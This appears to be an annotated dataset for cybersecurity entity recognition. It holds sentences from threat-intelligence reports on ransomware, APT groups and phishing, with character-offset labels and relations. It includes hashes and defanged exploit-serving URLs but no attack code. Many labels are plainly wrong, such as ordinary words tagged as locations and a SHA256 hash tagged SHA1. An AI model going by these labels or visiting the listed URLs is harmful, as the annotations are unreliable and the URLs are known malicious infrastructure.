{"id":4862,"text":"The site claimed to have received positive reviews on Russian underground forums such as Dublikat and Probiv.cc.","entities":[{"id":50845,"label":"DOMAIN","start_offset":102,"end_offset":111},{"id":50844,"label":"location","start_offset":54,"end_offset":61}],"relations":[],"Comments":[]}
{"id":12277,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.","entities":[],"relations":[],"Comments":[]}
{"id":442,"text":"And for the shopper, it means you\u2019re on an untrustworthy site and so open to all manner of risks beyond just unauthorized coin mining.","entities":[{"id":46122,"label":"attack-pattern","start_offset":109,"end_offset":133}],"relations":[],"Comments":[]}
{"id":3789,"text":"The threat group used a variety of attack tools and techniques to spy on their target organizations.","entities":[],"relations":[],"Comments":[]}
{"id":1888,"text":"However, its Delphi backdoor component, which it has in common with Confucius and Patchwork, and its apparent use of Bahamut-like malware, is what makes it more intriguing as it connects Urpage to these other known threats.","entities":[{"id":47017,"label":"threat-actor","start_offset":68,"end_offset":77},{"id":47019,"label":"threat-actor","start_offset":82,"end_offset":91},{"id":47020,"label":"threat-actor","start_offset":117,"end_offset":124},{"id":47021,"label":"threat-actor","start_offset":187,"end_offset":193}],"relations":[],"Comments":[]}
{"id":10234,"text":"However, we have solid attribution for these samples based on our long-term monitoring of Pawn Storm\u2019s activities.","entities":[{"id":31259,"label":"location","start_offset":66,"end_offset":70},{"id":31260,"label":"threat-actor","start_offset":90,"end_offset":100}],"relations":[],"Comments":[]}
{"id":7388,"text":"This allows the malicious activity to evade detection.","entities":[],"relations":[],"Comments":[]}
{"id":9981,"text":"Our analysis of an update log file we found reveals the remote support program\u2019s update process started around 13:35 on July 18, with the 9002 RAT being downloaded and launched.","entities":[{"id":30475,"label":"location","start_offset":56,"end_offset":62},{"id":30476,"label":"TIME","start_offset":104,"end_offset":127},{"id":30477,"label":"tools","start_offset":138,"end_offset":146},{"id":30478,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
{"id":365,"text":"A Heartbleed probe could be evidence of the early stages of an attack on your network, and persistent attackers are unlikely to give up after jiggling the handle on the front door.","entities":[{"id":46059,"label":"vulnerability","start_offset":2,"end_offset":12}],"relations":[],"Comments":[]}
{"id":897,"text":"The following HTTPS request accomplishes this.","entities":[],"relations":[],"Comments":[]}
{"id":13656,"text":"Water Nue Campaign Analysis","entities":[],"relations":[],"Comments":[]}
{"id":2981,"text":"Set everyone up as a \u201cregular user\u201d and set up a separate administrative account to use for maintenance.","entities":[],"relations":[],"Comments":[]}
{"id":8118,"text":"After acquiring root privilege, the malware installs the app callCam, enables its accessibility permission, and then launches it.  Figure 9.","entities":[{"id":25154,"label":"location","start_offset":16,"end_offset":20},{"id":25155,"label":"malware","start_offset":61,"end_offset":68},{"id":25156,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
{"id":1053,"text":"This type of attack can also be used to give malicious software total control over the device.","entities":[],"relations":[],"Comments":[]}
{"id":6956,"text":"The downloaded \"1More-details.doc\" contains malicious macros that will download and execute the ObliqueRat malware in a victim\u2019s machine     The macros inside the file will then download a bitmap image (BMP) file where the ObliqueRAT malware is hidden, decode the downloaded BMP file, then create a persistence mechanism by creating a Startup URL which will automatically run the ObliqueRAT malware.","entities":[{"id":21773,"label":"location","start_offset":66,"end_offset":70},{"id":21774,"label":"location","start_offset":80,"end_offset":83},{"id":21775,"label":"malware","start_offset":96,"end_offset":106},{"id":21776,"label":"location","start_offset":168,"end_offset":172},{"id":21777,"label":"malware","start_offset":223,"end_offset":233},{"id":21778,"label":"location","start_offset":335,"end_offset":342},{"id":21779,"label":"location","start_offset":353,"end_offset":357},{"id":21780,"label":"malware","start_offset":380,"end_offset":390}],"relations":[],"Comments":[]}
{"id":333,"text":"Note that the attacker has given you a few options for how to pay them the ransom.","entities":[],"relations":[],"Comments":[]}
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{"id":4778,"text":"Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.","entities":[{"id":50679,"label":"identity","start_offset":0,"end_offset":12}],"relations":[],"Comments":[]}
{"id":6459,"text":"They were targeted via a malicious .ZIP file (SHA256 hash: b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf) that contained a ScreenConnect executable (SHA256 hash: 2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf)","entities":[{"id":20094,"label":"SHA1","start_offset":59,"end_offset":123},{"id":20096,"label":"SHA1","start_offset":181,"end_offset":244}],"relations":[],"Comments":[]}
{"id":3498,"text":"This provides a user interface (UI) that allows attackers to send instructions to and monitor any compromised endpoint host.","entities":[],"relations":[],"Comments":[]}
{"id":4359,"text":"In our previous research, we already found Confucius, which is known for targeting Pakistan military for espionage purposes, employing multiple file stealers.","entities":[{"id":50144,"label":"threat-actor","start_offset":43,"end_offset":52},{"id":50145,"label":"identity","start_offset":83,"end_offset":100}],"relations":[],"Comments":[]}
{"id":8268,"text":"The attachments used in this second wave was more sophisticated, but barely so.","entities":[],"relations":[],"Comments":[]}
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{"id":573,"text":" Ryuk will change the infected file extension to .RYK, and leave a ransom note called RyukReadMe.html.","entities":[{"id":44783,"label":"malware","start_offset":1,"end_offset":5},{"id":44784,"label":"FILEPATH","start_offset":86,"end_offset":101}],"relations":[{"id":22,"from_id":44784,"to_id":44783,"type":"indicates"}],"Comments":[]}
{"id":4899,"text":"Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.","entities":[{"id":50914,"label":"SOFTWARE","start_offset":78,"end_offset":87},{"id":50915,"label":"SOFTWARE","start_offset":89,"end_offset":103},{"id":50913,"label":"SOFTWARE","start_offset":69,"end_offset":76}],"relations":[],"Comments":[]}
{"id":1550,"text":"You can see below what the spreadsheet looks like and the enable content button.","entities":[],"relations":[],"Comments":[]}
{"id":9312,"text":"Comparing Magecart-wielding groups The Mirrorthief group made the injected script on the compromised libraries similar to legitimate Google Analytics script and registered their malicious domain (which also appears similar to the original Google Analytics domain) to disguise their activity.","entities":[{"id":28738,"label":"threat-actor","start_offset":10,"end_offset":18},{"id":28740,"label":"location","start_offset":57,"end_offset":61},{"id":28742,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
{"id":14268,"text":"When users open the short link version of the domain shared on Twitter, a page that shows gender option buttons will appear followed by a page that will let users choose their \u201cfirst girlfriend\u201d and lead them to the download page.","entities":[],"relations":[],"Comments":[]}
{"id":2985,"text":" 4. Prevent Lost Tablets and Smartphones from Turning into Something Worse: Portable devices means an increased risk of loss or theft.","entities":[],"relations":[],"Comments":[]}
{"id":845,"text":"Instead kernel APC attacks already have kernel privileges and use them to further carry out their attack.","entities":[{"id":46394,"label":"attack-pattern","start_offset":8,"end_offset":26}],"relations":[],"Comments":[]}
{"id":14003,"text":"In other words, even when the new samples are developed, the attacker may have reused many of the operational techniques.","entities":[],"relations":[],"Comments":[]}
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{"id":1408,"text":"From: Notice of Appearance  Pretrial Notice, Please, download the copy of the court notice attached herewith to read the details.","entities":[],"relations":[],"Comments":[]}
{"id":6842,"text":"To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[{"id":21325,"label":"location","start_offset":66,"end_offset":76},{"id":21326,"label":"location","start_offset":109,"end_offset":117},{"id":21327,"label":"location","start_offset":123,"end_offset":126},{"id":21328,"label":"attack-pattern","start_offset":180,"end_offset":188},{"id":21329,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]}
{"id":9423,"text":"However, the cipher\u2019s \u201cswap\u201d operation in the pseudorandom generation part of the cipher code was improperly implemented.","entities":[],"relations":[],"Comments":[]}
{"id":4512,"text":"However administrators can also use advanced security settings to enhance their users\u2019 protection against suspicious attachments and scripts from untrusted senders.","entities":[],"relations":[],"Comments":[]}
{"id":12156,"text":"Unique URLs serving \u200b\u200bCVE-2021-33742 Internet Explorer exploit: http:\/\/lioiamcount[.]com\/IsnoMLgankYg6\/EjlYIy7cdFZFeyFqE4IURS1 http:\/\/db-control-uplink[.]com\/eFe1J00hISDe9Zw\/gzHvIOlHpIXB http:\/\/kidone[.]xyz\/VvE0yYArmvhyTl\/GzV","entities":[{"id":37598,"label":"URL","start_offset":64,"end_offset":88},{"id":37599,"label":"URL","start_offset":127,"end_offset":136},{"id":37600,"label":"URL","start_offset":187,"end_offset":206}],"relations":[],"Comments":[]}
{"id":13741,"text":"Waterbear\u2019s first-stage backdoor","entities":[],"relations":[],"Comments":[]}
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{"id":12900,"text":"When evaluating the performance of vendors, it is important to consider the hierarchy of detection types.","entities":[],"relations":[],"Comments":[]}
{"id":2669,"text":" Cases handled by Unit 42 security consultants involving LockBit 2.0 since its appearance in June 2021 demonstrate shorter dwell times and less flexibility in negotiation in the beginning of FY 2022 (measured October-September) in comparison to the end of FY 2021.","entities":[{"id":47869,"label":"TIME","start_offset":209,"end_offset":226},{"id":47868,"label":"TIME","start_offset":191,"end_offset":198},{"id":47865,"label":"identity","start_offset":18,"end_offset":25},{"id":47866,"label":"threat-actor","start_offset":57,"end_offset":68},{"id":47867,"label":"TIME","start_offset":93,"end_offset":102},{"id":47870,"label":"TIME","start_offset":256,"end_offset":263}],"relations":[],"Comments":[]}
{"id":10349,"text":"Analysis of the code revealed a PowerShell script capable of decoding the contents of the malicious document, which results in the execution of yet another encoded PowerShell script.","entities":[{"id":31522,"label":"attack-pattern","start_offset":32,"end_offset":42}],"relations":[],"Comments":[]}
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{"id":13562,"text":" It\u2019s worth mentioning that they are not targeting a specific e-commerce framework, but e-commerce systems in general.","entities":[],"relations":[],"Comments":[]}
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{"id":446,"text":" How You Can Prevent Unauthorized Coin Mining Attacks  If you\u2019re a shopper, there are three things you can do to protect yourself against unauthorized coin mining attacks this holiday season:  If you\u2019re a retailer, preventing unauthorized coin mining attacks comes down to focusing on two tasks, both of which you should be doing anyway:  Finally, if you\u2019re a legitimate website that has chosen to implement coin mining to raise funds from your visitors, you can ensure that your visitors don\u2019t think you\u2019re engaged in unauthorized coin mining by doing three things:  Conclusion  Working to prevent cybercrime threats during the holiday season has become a standard part of what shoppers and retailers do every year.","entities":[],"relations":[],"Comments":[]}
{"id":11284,"text":"The first step in our playbook is to check if the event is related to credential dumping.","entities":[{"id":34487,"label":"location","start_offset":37,"end_offset":42},{"id":34488,"label":"attack-pattern","start_offset":70,"end_offset":88}],"relations":[],"Comments":[]}
{"id":2434,"text":"But using a block list runs the risk of being bypassed by the cases not on the list.","entities":[],"relations":[],"Comments":[]}
{"id":8090,"text":"One of these apps, called Camero, exploits CVE-2019-2215, a vulnerability that exists in Binder (the main Inter-Process Communication system in Android).","entities":[{"id":25087,"label":"location","start_offset":52,"end_offset":56},{"id":25088,"label":"malware","start_offset":106,"end_offset":111}],"relations":[],"Comments":[]}
{"id":4863,"text":"Over the past five years, TAG has observed the group targeting accounts at major webmail providers like Gmail, Hotmail, and Yahoo! and regional webmail providers like abv.bg, mail.ru, inbox.lv, and UKR.net.","entities":[{"id":50846,"label":"identity","start_offset":26,"end_offset":29},{"id":50847,"label":"SOFTWARE","start_offset":104,"end_offset":109},{"id":50849,"label":"SOFTWARE","start_offset":124,"end_offset":130},{"id":50848,"label":"SOFTWARE","start_offset":111,"end_offset":118},{"id":50850,"label":"SOFTWARE","start_offset":167,"end_offset":173},{"id":50851,"label":"SOFTWARE","start_offset":175,"end_offset":182},{"id":50852,"label":"SOFTWARE","start_offset":184,"end_offset":192},{"id":50853,"label":"SOFTWARE","start_offset":198,"end_offset":205}],"relations":[],"Comments":[]}
{"id":2306,"text":"We did not manage to get a complete iOS chain this time, just a partial one where CVE-2019-8506 was used to get code execution in Safari.","entities":[{"id":47373,"label":"SOFTWARE","start_offset":130,"end_offset":136},{"id":47371,"label":"SOFTWARE","start_offset":36,"end_offset":39},{"id":47372,"label":"vulnerability","start_offset":82,"end_offset":95}],"relations":[],"Comments":[]}
{"id":3025,"text":"11. Drive Safely and Securely with Smart Cars:","entities":[],"relations":[],"Comments":[]}
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{"id":3698,"text":"FIN7 utilizes guardrails to restrict execution and abused utilities that allow indirect command execution that can go past security restrictions.","entities":[{"id":49495,"label":"attack-pattern","start_offset":79,"end_offset":105},{"id":49496,"label":"threat-actor","start_offset":0,"end_offset":4},{"id":49497,"label":"tools","start_offset":14,"end_offset":24}],"relations":[{"id":809,"from_id":49496,"to_id":49497,"type":"uses"},{"id":810,"from_id":49496,"to_id":49495,"type":"uses"}],"Comments":[]}
{"id":4960,"text":"We also block malicious domains using Google Safe Browsing \u2013 a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.","entities":[{"id":50982,"label":"identity","start_offset":76,"end_offset":98},{"id":50981,"label":"SOFTWARE","start_offset":38,"end_offset":58}],"relations":[],"Comments":[]}
{"id":11533,"text":"This hack-for-hire actor has been publicly referred to as 'Void Balaur'.","entities":[{"id":35325,"label":"location","start_offset":5,"end_offset":9},{"id":35326,"label":"threat-actor","start_offset":59,"end_offset":70}],"relations":[],"Comments":[]}
{"id":2681,"text":" The LockBit group claimed that LockBit 2.0 is \u201cthe fastest encryption software all over the world\u201d and provided a comparative table showing the encryption speed of various ransomware samples.  LockBit 2.0 also contains a self-spreading feature, clears logs and can print the ransom note on network printers until the paper runs out.  A management panel that affiliates can use to manage victims and affiliate accounts, generate new ransomware builds and generate the decryptor if the demanded ransom is paid also exists.","entities":[{"id":47888,"label":"threat-actor","start_offset":5,"end_offset":12},{"id":47889,"label":"malware","start_offset":32,"end_offset":43},{"id":47890,"label":"threat-actor","start_offset":194,"end_offset":205}],"relations":[{"id":367,"from_id":47889,"to_id":47888,"type":"authored-by"}],"Comments":[]}
{"id":4469,"text":"Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.","entities":[{"id":50259,"label":"threat-actor","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
{"id":2254,"text":" As we can see in the above network traffic, the malware attempts to disguise the data as a .gif image.","entities":[],"relations":[],"Comments":[]}
{"id":2616,"text":" While referred to as a ransomware group in many reports, the Lapsus$ Group is more accurately called an attack group.","entities":[{"id":45620,"label":"threat-actor","start_offset":62,"end_offset":69}],"relations":[],"Comments":[]}
{"id":3052,"text":"\u201d(Figure 1)","entities":[],"relations":[],"Comments":[]}
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{"id":5347,"text":"The data received from the C&C servers comprises either commands to the core component itself or to one of its modules.","entities":[],"relations":[],"Comments":[]}
{"id":11259,"text":"          Having the incident details available in the Cortex\u2122 XSOAR platform enables analysts to execute a series of manual or automated actions through the Trend Micro Vision One\u2122 platform in response to a potential threat.","entities":[],"relations":[],"Comments":[]}
{"id":13715,"text":"It is associated with the cyberespionage group BlackTech, which mainly targets technology companies and government agencies in East Asia (specifically Taiwan, and in some instances, Japan and Hong Kong) and is responsible for some infamous campaigns such as PLEAD and Shrouded Crossbow.","entities":[{"id":51763,"label":"threat-actor","start_offset":47,"end_offset":56},{"id":51764,"label":"location","start_offset":127,"end_offset":137},{"id":51765,"label":"location","start_offset":151,"end_offset":157},{"id":51766,"label":"location","start_offset":182,"end_offset":187},{"id":51767,"label":"location","start_offset":192,"end_offset":201},{"id":51768,"label":"campaign","start_offset":258,"end_offset":263},{"id":51772,"label":"identity","start_offset":79,"end_offset":99},{"id":51770,"label":"campaign","start_offset":268,"end_offset":285}],"relations":[{"id":1154,"from_id":51763,"to_id":51772,"type":"targets"},{"id":1155,"from_id":51772,"to_id":51764,"type":"located-at"},{"id":1156,"from_id":51772,"to_id":51765,"type":"located-at"},{"id":1157,"from_id":51772,"to_id":51766,"type":"located-at"},{"id":1158,"from_id":51772,"to_id":51767,"type":"located-at"},{"id":1159,"from_id":51763,"to_id":51768,"type":"related-to"},{"id":1160,"from_id":51763,"to_id":51770,"type":"related-to"}],"Comments":[]}
{"id":12737,"text":"If the group succeeds in running their malicious script on an AWS instance, the script uploads any credentials that it is able to retrieve from the instance metadata service.","entities":[],"relations":[],"Comments":[]}
{"id":4125,"text":"The threat actors just use it to develop new ways to support data transfer via an encrypted channel.","entities":[],"relations":[],"Comments":[]}
{"id":10862,"text":"Figure 8.","entities":[],"relations":[],"Comments":[]}
{"id":8426,"text":"The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.","entities":[{"id":25955,"label":"location","start_offset":61,"end_offset":69},{"id":25956,"label":"location","start_offset":70,"end_offset":78},{"id":25957,"label":"threat-actor","start_offset":105,"end_offset":109},{"id":25958,"label":"location","start_offset":110,"end_offset":113},{"id":25959,"label":"location","start_offset":130,"end_offset":135}],"relations":[],"Comments":[]}
{"id":1014,"text":"A well-stocked seller told us that every account he sold belonged to an active student at the respective university.","entities":[],"relations":[],"Comments":[]}
{"id":1472,"text":"However, it isn\u2019t easy for users to know the app they\u2019re downloading is using a compromised private key \u2013 the onus for this is squarely on developers.","entities":[],"relations":[],"Comments":[]}
{"id":9973,"text":"9002 RAT downloads and executes additional malicious files from the attackers\u2019 server.","entities":[{"id":30450,"label":"malware","start_offset":0,"end_offset":8},{"id":30451,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
{"id":1685,"text":"We found that the Reaver malware family has shared command-and-control (C2) infrastructure overlap SunOrcal malware, and that these have been used concurrently since late 2016.","entities":[{"id":4998,"label":"malware","start_offset":18,"end_offset":24},{"id":5000,"label":"malware","start_offset":99,"end_offset":107},{"id":46876,"label":"TIME","start_offset":171,"end_offset":175}],"relations":[],"Comments":[]}
{"id":7761,"text":"The first update is the use of the socket API to send an HTTP request instead of wininet or winhttp API to download an encrypted FlawedAmmyy, building an HTTP header by itself.","entities":[{"id":24077,"label":"malware","start_offset":129,"end_offset":140}],"relations":[],"Comments":[]}
{"id":13807,"text":"This function includes two parts, as shown in Figure 9:  The PID checking procedure.","entities":[],"relations":[],"Comments":[]}
{"id":1308,"text":"This response will instruct the malware to upload the specified file:","entities":[],"relations":[],"Comments":[]}
{"id":4666,"text":"It does the following for each email found: The emails are saved with \".eml\" extensions under the Downloads directory with the filename corresponding to the subject.","entities":[],"relations":[],"Comments":[]}
{"id":6018,"text":"Recently observed Ghostwriter credential phishing domains:","entities":[{"id":18572,"label":"attack-pattern","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]}
{"id":3058,"text":"The App Indicates Two Threats were Found  If the user clicks the \u201cRepair\u201d button, the apps will indicate that one of the threats was eliminated and advise the user to upgrade to its full version to remove the remaining threat(s).","entities":[],"relations":[],"Comments":[]}
{"id":8971,"text":"It was updated in mid-2019, which we described in detail in our Operation DRBControl paper.","entities":[],"relations":[],"Comments":[]}
{"id":11792,"text":"Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate \u2013 as they know it's difficult for users to detect this kind of attack.","entities":[{"id":36365,"label":"attack-pattern","start_offset":11,"end_offset":19},{"id":36366,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
{"id":14379,"text":"A financial services company that was spending millions of dollars on getting from 96% to achieving 98%, using the very good reasoning that they were \u201ccutting their biggest security problem in half\u201d rather than \u201c2%, meh.\u201d So even the very best enterprises can have unmanaged endpoints that can be more easily exploited than ones with a security agent deployed on them.","entities":[],"relations":[],"Comments":[]}
{"id":7001,"text":"Be wary of the scope of app permissions","entities":[],"relations":[],"Comments":[]}
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{"id":8287,"text":"He didn't just post embassy documents on Facebook: he also posted stolen credit cards and screens of defaced websites.","entities":[{"id":25548,"label":"identity","start_offset":10,"end_offset":14},{"id":25549,"label":"location","start_offset":15,"end_offset":19},{"id":25550,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
{"id":14,"text":" By now you shouldn\u2019t be surprised that one of them is on the same known malicious IP address.","entities":[],"relations":[],"Comments":[]}
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{"id":2099,"text":"Learn more about the Cyber Threat Alliance.","entities":[{"id":47233,"label":"identity","start_offset":21,"end_offset":42}],"relations":[],"Comments":[]}
{"id":9388,"text":"  Figure 9.","entities":[],"relations":[],"Comments":[]}
{"id":13640,"text":"A series of ongoing business email compromise (BEC) campaigns that uses spear-phishing schemes on Office 365 accounts has been seen targeting business executives of over 1,000 companies across the world since March 2020.","entities":[{"id":51722,"label":"attack-pattern","start_offset":72,"end_offset":86},{"id":51723,"label":"SOFTWARE","start_offset":98,"end_offset":117},{"id":51724,"label":"TIME","start_offset":203,"end_offset":219},{"id":51725,"label":"identity","start_offset":142,"end_offset":161},{"id":51726,"label":"campaign","start_offset":20,"end_offset":61}],"relations":[{"id":1142,"from_id":51726,"to_id":51722,"type":"uses"},{"id":1143,"from_id":51726,"to_id":51725,"type":"targets"},{"id":1144,"from_id":51726,"to_id":51724,"type":"related-to"}],"Comments":[]}
{"id":13143,"text":"It\u2019s about standardizing and streamlining an important but cumbersome process to fast-track due diligence\u2014ultimately enabling enterprises to extract value from platforms like Trend Micro Cloud One even quicker.","entities":[{"id":48913,"label":"SOFTWARE","start_offset":175,"end_offset":196}],"relations":[],"Comments":[]}
{"id":4243,"text":"Both groups used a backdoor with the same configuration file structure and commands.","entities":[],"relations":[],"Comments":[]}
{"id":4549,"text":"Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.","entities":[{"id":50351,"label":"threat-actor","start_offset":179,"end_offset":203},{"id":50349,"label":"location","start_offset":82,"end_offset":89},{"id":50350,"label":"identity","start_offset":94,"end_offset":97},{"id":50352,"label":"threat-actor","start_offset":210,"end_offset":233},{"id":50353,"label":"identity","start_offset":253,"end_offset":256}],"relations":[{"id":944,"from_id":50351,"to_id":50349,"type":"targets"},{"id":945,"from_id":50352,"to_id":50349,"type":"targets"}],"Comments":[]}
{"id":3461,"text":"Analyzing the Marade downloader (detected by Trend Micro as TSPY_MARADE.ZTBC) and the version of Protux (BKDR_PROTUX.ZTBC) employed by Blackgear\u2019s latest campaigns, we found their encrypted configurations on blog and social media posts (see Figure 1).","entities":[{"id":49251,"label":"malware","start_offset":14,"end_offset":31},{"id":49252,"label":"identity","start_offset":45,"end_offset":56},{"id":49254,"label":"malware","start_offset":97,"end_offset":122},{"id":49255,"label":"threat-actor","start_offset":135,"end_offset":144},{"id":49253,"label":"malware","start_offset":60,"end_offset":76}],"relations":[{"id":767,"from_id":49253,"to_id":49251,"type":"duplicate-of"},{"id":768,"from_id":49254,"to_id":49251,"type":"based-on"},{"id":769,"from_id":49251,"to_id":49255,"type":"authored-by"}],"Comments":[]}
{"id":3301,"text":"Encoded SUBMIT RESULT command sent to C&C server      Figure 22. Decoded SUBMIT RESULT command sent to C&C server     None of the Chinese messenger applications has been installed on our testing machine, which explains the result seen in the images.","entities":[],"relations":[],"Comments":[]}
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{"id":1069,"text":"It\u2019s important to note that apps from websites and app stores other than Google Play form a significant source of Android malware worldwide.","entities":[{"id":46553,"label":"SOFTWARE","start_offset":114,"end_offset":121},{"id":46554,"label":"SOFTWARE","start_offset":73,"end_offset":84}],"relations":[],"Comments":[]}
{"id":3127,"text":" How can I prevent it?","entities":[],"relations":[],"Comments":[]}
{"id":3499,"text":"This tool can also remotely control Marade in the affected system.","entities":[{"id":49294,"label":"malware","start_offset":36,"end_offset":42}],"relations":[],"Comments":[]}
{"id":4596,"text":"   CVE-2021-26855: Microsoft Exchange Server Remote Code Execution Vulnerability (pre-authenticated Server-Side Request Forgery [SSRF]) CVE-2021-27065: Microsoft Exchange Server Remote Code Execution Vulnerability (post-authenticated Arbitrary File Write)         Fig - MS Exchange Client Access Protocol Architecture     The Client Access services (Outlook Web App portal) proxies the incoming connections to the Backend services.","entities":[{"id":50475,"label":"vulnerability","start_offset":3,"end_offset":17},{"id":50478,"label":"vulnerability","start_offset":152,"end_offset":213},{"id":50476,"label":"vulnerability","start_offset":19,"end_offset":80},{"id":50477,"label":"vulnerability","start_offset":136,"end_offset":150}],"relations":[{"id":977,"from_id":50476,"to_id":50475,"type":"duplicate-of"},{"id":978,"from_id":50478,"to_id":50477,"type":"duplicate-of"}],"Comments":[]}
{"id":4990,"text":"The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.","entities":[],"relations":[],"Comments":[]}
{"id":952,"text":"Not all apps that use the Taomike library steal SMS messages.","entities":[{"id":46459,"label":"identity","start_offset":26,"end_offset":33},{"id":46460,"label":"attack-pattern","start_offset":42,"end_offset":60}],"relations":[{"id":193,"from_id":46459,"to_id":46460,"type":"uses"}],"Comments":[]}
{"id":1744,"text":"Once you\u2019re on the attacker\u2019s page, the attackers may ask you for personal information (like usernames, passwords, and bank account information) or to install software, or both.","entities":[],"relations":[],"Comments":[]}
{"id":8070,"text":"Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.","entities":[],"relations":[],"Comments":[]}
{"id":129,"text":"This all occurs without the users\u2019 consent or knowledge throughout the duration of their site visits.","entities":[],"relations":[],"Comments":[]}
{"id":9057,"text":"The shift from PE to Powershell makes it more difficult for antivirus solutions to detect.","entities":[],"relations":[],"Comments":[]}
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{"id":3759,"text":" A complete list of indicators of compromise (IoCs) can be found at the end of this post.","entities":[],"relations":[],"Comments":[]}
{"id":4622,"text":"There is no silver bullet when it comes to cybersecurity but using solutions that bake into your development pipeline to provide security as early as possible is better than scrambling for patches after deployment.","entities":[],"relations":[],"Comments":[]}
{"id":9851,"text":"Figure 14.","entities":[],"relations":[],"Comments":[]}
{"id":7545,"text":"Trend Micro\u2122 Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.  Trend Micro\u2122 Deep Discovery\u2122 Inspector and InterScan\u2122 Web Security prevent malware from ever reaching end users.","entities":[{"id":23440,"label":"location","start_offset":6,"end_offset":11},{"id":23441,"label":"location","start_offset":19,"end_offset":27},{"id":23442,"label":"location","start_offset":48,"end_offset":53},{"id":23443,"label":"location","start_offset":98,"end_offset":108},{"id":23444,"label":"location","start_offset":112,"end_offset":116},{"id":23445,"label":"attack-pattern","start_offset":132,"end_offset":146},{"id":23446,"label":"location","start_offset":160,"end_offset":163},{"id":23448,"label":"location","start_offset":261,"end_offset":264},{"id":23450,"label":"location","start_offset":310,"end_offset":314}],"relations":[],"Comments":[]}
{"id":12920,"text":"Trend Micro doesn\u2019t leave that responsibility wholly on you.","entities":[],"relations":[],"Comments":[]}
{"id":9151,"text":"By the second half of the year, Lurk\u2019s geographical distribution drastically changed.","entities":[],"relations":[],"Comments":[]}
{"id":4935,"text":"Users were instructed to activate an invitation to a (fake) webinar by logging in.","entities":[],"relations":[],"Comments":[]}
{"id":10245,"text":"For example, in May 2020, Pawn Storm scanned IP addresses worldwide, including IP addresses from the defense industry in Europe, on TCP port 445 and 1433, likely in an attempt to find vulnerable SMB and SQL servers or brute force credentials.","entities":[{"id":31300,"label":"location","start_offset":109,"end_offset":117},{"id":31303,"label":"location","start_offset":145,"end_offset":148},{"id":31305,"label":"location","start_offset":155,"end_offset":161},{"id":31306,"label":"location","start_offset":199,"end_offset":202},{"id":31307,"label":"attack-pattern","start_offset":218,"end_offset":229}],"relations":[],"Comments":[]}
{"id":2934,"text":"Our researchers can show that about one-half of the samples we found have affected 15 million people worldwide.","entities":[],"relations":[],"Comments":[]}
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{"id":9372,"text":"Whois Lookup reveals that this domain was registered on February 11, 2019 at Namecheap.","entities":[],"relations":[],"Comments":[]}
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{"id":8465,"text":"Any one government\u2019s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.","entities":[{"id":26102,"label":"location","start_offset":45,"end_offset":51},{"id":26103,"label":"location","start_offset":57,"end_offset":63},{"id":26104,"label":"location","start_offset":76,"end_offset":80},{"id":26105,"label":"location","start_offset":101,"end_offset":114},{"id":26106,"label":"location","start_offset":115,"end_offset":121},{"id":26107,"label":"location","start_offset":122,"end_offset":125},{"id":26108,"label":"tools","start_offset":154,"end_offset":160}],"relations":[],"Comments":[]}
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{"id":2394,"text":"To continue doing so, it appears to be filling its ranks with malicious actors who are pooling their diverse skills.","entities":[],"relations":[],"Comments":[]}
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{"id":12984,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[],"relations":[],"Comments":[]}
{"id":1536,"text":"   Palo Alto Networks Threat Prevention and Cortex XDR provide protection against the exploitation of this vulnerability:  Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":45043,"label":"identity","start_offset":123,"end_offset":141},{"id":45040,"label":"identity","start_offset":3,"end_offset":21},{"id":45041,"label":"SOFTWARE","start_offset":44,"end_offset":54},{"id":45042,"label":"SOFTWARE","start_offset":3,"end_offset":39}],"relations":[],"Comments":[]}
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{"id":5179,"text":"All the vulnerabilities found have been disclosed and patched or mitigated by their respective vendors.","entities":[],"relations":[],"Comments":[]}
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{"id":8479,"text":"With so much diversity in the attack surface, it\u2019s important to leverage security best practices to manage your cyber risk.","entities":[{"id":26146,"label":"location","start_offset":8,"end_offset":12},{"id":26147,"label":"malware","start_offset":64,"end_offset":72},{"id":26148,"label":"location","start_offset":73,"end_offset":81},{"id":26149,"label":"location","start_offset":82,"end_offset":86},{"id":26150,"label":"location","start_offset":100,"end_offset":106}],"relations":[],"Comments":[]}
{"id":9856,"text":"Figure 15. Shellcode injected to svchost.exe","entities":[],"relations":[],"Comments":[]}
